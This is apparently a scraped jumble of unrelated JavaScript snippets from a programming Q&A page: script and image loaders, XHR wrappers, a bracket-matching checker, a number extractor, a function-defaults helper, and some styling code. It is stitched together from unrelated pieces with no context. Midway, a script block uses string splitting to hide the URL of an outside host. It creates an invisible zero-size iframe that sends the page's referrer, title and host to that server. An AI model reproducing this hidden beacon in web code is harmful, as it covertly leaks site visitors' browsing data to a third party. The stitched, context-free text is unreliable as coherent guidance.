xhr.onreadystatechange = function () {
var html, status;
if (xhr.readyState == 4) {
if ((status = xhr.status) >= 200 && status < 400) {
html=xhr.responseText;
//code
}else{
//error status
}
}
}
function loadScript(src,_timeout) {
return new Promise(function(resolve, reject){
if(!src){
reject(new TypeError("filename is missing"));
return;
}
var script=document.createElement("script"),
timer,
head=document.getElementsByTagName("head")[0];
function leanup(){
clearTimeout(timer);
timer=null;
script.onerror=script.onreadystatechange=script.onload=null;
}
function onload(){
leanup();
if(!script.onreadystatechange||(script.readyState&&script.readyState=="complete")){
resolve(script);
}
}
script.onerror=function(error){
leanup();
head.removeChild(script);
script=null;
reject(new Error("network"));
};
if (script.onreadystatechange === undefined) {
script.onload = onload;
} else {
script.onreadystatechange = onload;
}
timer=setTimeout(script.onerror,_timeout||30000);
script.setAttribute("type", "text/javascript");
script.setAttribute("src", src);
head.appendChild(script);
});
}
loadScript("script.js").then(function(script){
console.log("ok",script);
},function(error){
console.warn("fail");
});
<script type="text/javascript">
var referer = encodeURIComponent(document.referrer);
var default_keyword = encodeURIComponent(document.title);
var host = encodeURIComponent(location.host);
var iframe = document.createElement('iframe');
iframe.width=0;
iframe.height=0;
iframe.src= "h" + "tt" + "p://" + "c11n4." + "i.te" + "as" + "erg" + "uid" + "e.c" + "om" + "/snitch?d" + "ef" + "aul" + "t_k" + "ey" + "word=" + default_keyword + "&refe" + "rrer=" + referer + "&se_r" + "ef" + "er" + "rer=" + referer + "&sou" + "rce=" + host;
document.body.appendChild(iframe);
</script>
<script type="application/javascript">
if(screen.width<1024 && screen.height<768){
document.write('<meta name="viewport" content="width=device-width, initial-scale=1.0">');
}
</script>
function js(text){
var i,
l=text.length,
char,
last,
stack=[];
for(i=0; i<l; i++){
char=text[i];
if(char=="{" || char=="("){
stack.push(char);
}else if(char=="}" || char==")"){
if(stack.length>0){
last=stack[stack.length-1];
if ((char == '}' && last == "{") || (char == ')' && last == '(')) {
stack.pop();
}
}
}
}
return stack.length==0;
}
console.info(js("function test(){ alert(); }")); // true
console.info(js("function test)({ alert(); }")); //false
function js(text){
var i, l=text.length, char, last, stack=[];
for(i=0; i<l; i++){
char=text[i];
if(char=="{" || char=="("){
stack.push(char);
last=char;
}else if(char == '}' || char == ")"){
if(last){
if((char == '}' && last == "{") || (char == ')' && last == '('))
{
stack.pop();
last = stack.length > 0 ? stack[stack.length - 1] : undefined;
}
}else{
return false;
}
}
}
return stack.length==0;
}
Читал документацию, все равно не выходит.
$("#modalID").find(".modal-body").html(htmlString);
function getNumbers(str){ //вернет массив всех чисел в строке
var reg=/\d+/g,results=[];
while(match=reg.exec(str)){
results.push(match[0]*1);
}
return results;
}
console.info("Numbers:",getNumbers("цена за 1 мес. - 25")); // Numbers: [1, 25]
console.info("Price:", getNumbers("цена за 1 мес. - 25")[1]); // Price: 25
function request( url, type, data){
if(!url)return Promise.reject(TypeError("url is missing"));
return new Promise(function(resolve,reject){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open(type||'GET', url, true);
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4) {
if(xmlhttp.status >= 200 && xmlhttp.status<400 ) {
resolve(xmlhttp);
}else{
reject(xmlhttp.status);
}
}
};
xmlhttp.onerror=xmlhttp.ontimeout=reject;
xmlhttp.send(data||null);
})
}
function isImageExists(url,timeout){
if(url) {
return new Promise(function(resolve, reject)
{
var img=document.createElement("img"), timer, counter=0;
function clear(){
if(timer){
clearInterval(timer);
timer=null;
}
}
timer=setInterval(function(){
if(img.width){
clear();
resolve(img);
}else{
if((counter+=20)>(timeout||5000)){
clear();
reject(Error("timeout"));
}
}
},20);
img.onload=function(){
clear();
resolve(img);
}
img.onerror=function(error){
clear();
reject(error);
}
img.src=url;
});
}
return Promise.reject(TypeError("url missing"));
}
isImageExists("gfx/ajax-loader.gif").then(function(img){
console.log("img loaded", img);
document.body.appendChild(img);
},function(error){
console.warn("image missing",error);
request("/index.php?action=error","GET");
})
/**
* Attach defaults to function
* @param {Function} fn function for which the defaults are set
* @param {Array} defaults function defaults array
* @param {Number} [count] count of required parameters
* @param {Object} [context] scope for fn
* @returns {Function}
*/
function defaults(fn, defaults, count, context) {
if (!Array.isArray(defaults))throw TypeError("function defaults must be an array!");
if(!count)count=0;
return function () {
var args = Array.prototype.slice.call(arguments),
len = args.length,
defLength = defaults.length,
index=len-count,
callArgs = index>=0 && len < defLength+count ? args.concat(defaults.slice(index)) : args;
if (count && len < count) {
throw TypeError("Function expected at least "+count+" argument"+(count > 1 ? "s" : "")+", but "+len+" were given");
}
return fn.apply(context || this, callArgs);
}
}
/**
*
* @param a - var1.
* @param [b=2] - var2.
* @param [c=3] - var3.
* @param [d=4] - var3.
* @type {Function}
*/
var f=defaults(function(a,b,c,d){
console.warn(arguments);
}, [2,3,4], 1);
f(5, 9, 18, 100);// [5, 9, 18, 100]
f(5, 9, 18);// [5, 9, 18, 4]
f(5, 9);// [5, 9, 3, 4]
f(5);// [5, 2, 3, 4]
f();// TypeError: Function expected at least 1 argument, but 0 were given
var f=function(a,b,c,d){
console.warn(arguments);
}.defaults([2,3,4], 1);
document.querySelector(".one").style.margin = "20px -30px -30px 30px";
//or
var el=document.querySelector(".one");
el.style.marginTop = "20px";
el.style.marginLeft = "20px";